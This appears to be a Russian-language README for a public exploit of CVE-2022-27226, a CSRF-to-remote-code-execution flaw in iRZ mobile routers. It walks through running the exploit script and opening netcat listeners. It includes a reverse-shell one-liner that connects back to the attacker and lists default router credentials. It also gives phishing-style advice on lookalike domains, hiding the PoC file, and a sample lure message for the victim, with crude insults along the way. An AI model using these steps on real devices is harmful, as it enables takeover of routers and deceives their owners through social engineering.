
Эксплойт для CVE-2022-27226
Эксплойт для CVE-2022-27226
Межсайтовая подделка запросов (CSRF) для удаленного выполнения кода в мобильных маршрутизаторах iRZ
<--Обнаружение уязвимости-->
John Jackson
Chris Mack --- [https://github.com/0xHalcyon]
<--Разработка эксплойта-->
Stephen Chavez --- [https://github.com/redragonx/]
Robert Willis
Проблема CSRF в мобильных маршрутизаторах iRZ (по состоянию на 16 марта 2022 г.) позволяет злоумышленнику создать запись в crontab в панели администрирования маршрутизатора. Задание cron будет соответственно выполнять запись с заданным злоумышленником интервалом, что приводит к удаленному выполнению кода, позволяя злоумышленнику получить доступ к файловой системе. Кроме того, если учётные данные по умолчанию маршрутизатора не были изменены или злоумышленник обнаружит действующие учётные данные, удаленное выполнение кода может быть достигнуто без взаимодействия с пользователем.
Запуск двух слушателей netcat перед попыткой перехватить оболочку является важным, потому что crontab при выполнении будет повторять одно и то же задание cron несколько раз, и ваша оболочка умрет при следующем цикле. Вы не можете использовать nohup, поскольку среда busybox довольно ограничена, и альтернативно вы можете изменить эксплойт с другим интервалом записи crontab, однако лучший способ избежать этого, не беспокоясь об интервале crontab, — это использовать несколько слушателей для первого перехвата обратной оболочки.
Было обнаружено, что в большинстве случаев маршрутизаторы не имеют открытого порта telnet извне — однако, получив удаленное выполнение кода, вы можете использовать telnet для исправления TTY в большинстве случаев. Для этого вам понадобятся учётные данные. Если вы используете полную цепочку CSRF к RCE, мы рекомендуем создать более полный шаблон PoC для CSRF, который записывает событие входа пользователя или заголовки, которые могут содержать заголовок базовой авторизации, который транслируется в скрипте.
Учётные данные по умолчанию для этих маршрутизаторов обычно root:root или admin:admin. Если у вас есть учётные данные, выполните:
python cve.py
Следуйте инструкциям, которые довольно просты, затем запустите два слушателя netcat на двух отдельных портах.
nc -lvp 443
nc -lvp 5000
Когда вы получите обратную оболочку в первом слушателе, повторно выполните однострочную команду обратной оболочки, чтобы получить постоянную оболочку:
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost_ip} {second_nc_listener_port} >/tmp/f
Наконец, если у вас есть учётные данные (а они должны быть, если вы используете эту часть модуля) — попробуйте выполнить переход к внутреннему ограниченному сервису telnet:
telnet 0.0.0.0
"Но что, если telnet открыт извне?" Тогда войдите в грёбаный маршрутизатор с учётными данными, придурок.
Инструкции для этого модуля почти такие же, как для модуля RCE после аутентификации. Основное отличие состоит в том, что у вас нет учётных данных.
Прежде всего, для эффективного использования необходимо понять, как это работает. CSRF требует взаимодействия с пользователем, то есть вам придется применить методы социальной инженерии. Есть два возможных сценария: пользователь авторизован, когда нажимает кнопку proof of concept (PoC), или пользователь не авторизован. Если они уже аутентифицированы на маршрутизаторе, POST-запрос для создания задания cron будет отправлен в API, и пользователь увидит пустую страницу. Если они не авторизованы, пользователь увидит запрос базовой аутентификации — и, что удобно, всплывающее окно базовой аутентификации будет содержать IP-адрес маршрутизатора жертвы; если они введут свои учётные данные, это отправит POST-запрос в API.
Мы рекомендуем попытаться купить похожий домен, если маршрутизатор жертвы размещен на поддомене, или найти провайдера с теми же диапазонами подсетей для серверов, если это приоритетная цель. Доработка PoC для CSRF может оказаться оправданной для приоритетной цели.
Запустите скрипт
python cve.py
Следуйте инструкциям, в скрипте будет сгенерирован шаблон CSRF. Рекомендуем назвать его что-то более скрытное.
mv poc.new.html index.html
Разместите PoC на вашем сервере, желательно на том же порту, что и маршрутизатор жертвы.
python3 -m http.server 80
Возьмите ссылку и отправьте ее жертве, убедившись, что вы добавили имя файла PoC в конец URL:
Привет, сладкая, можешь войти в роутер, пожалуйста:
http://your-ip-in-the-united-states-bcuz-you-didnt-take-my-advice/index.html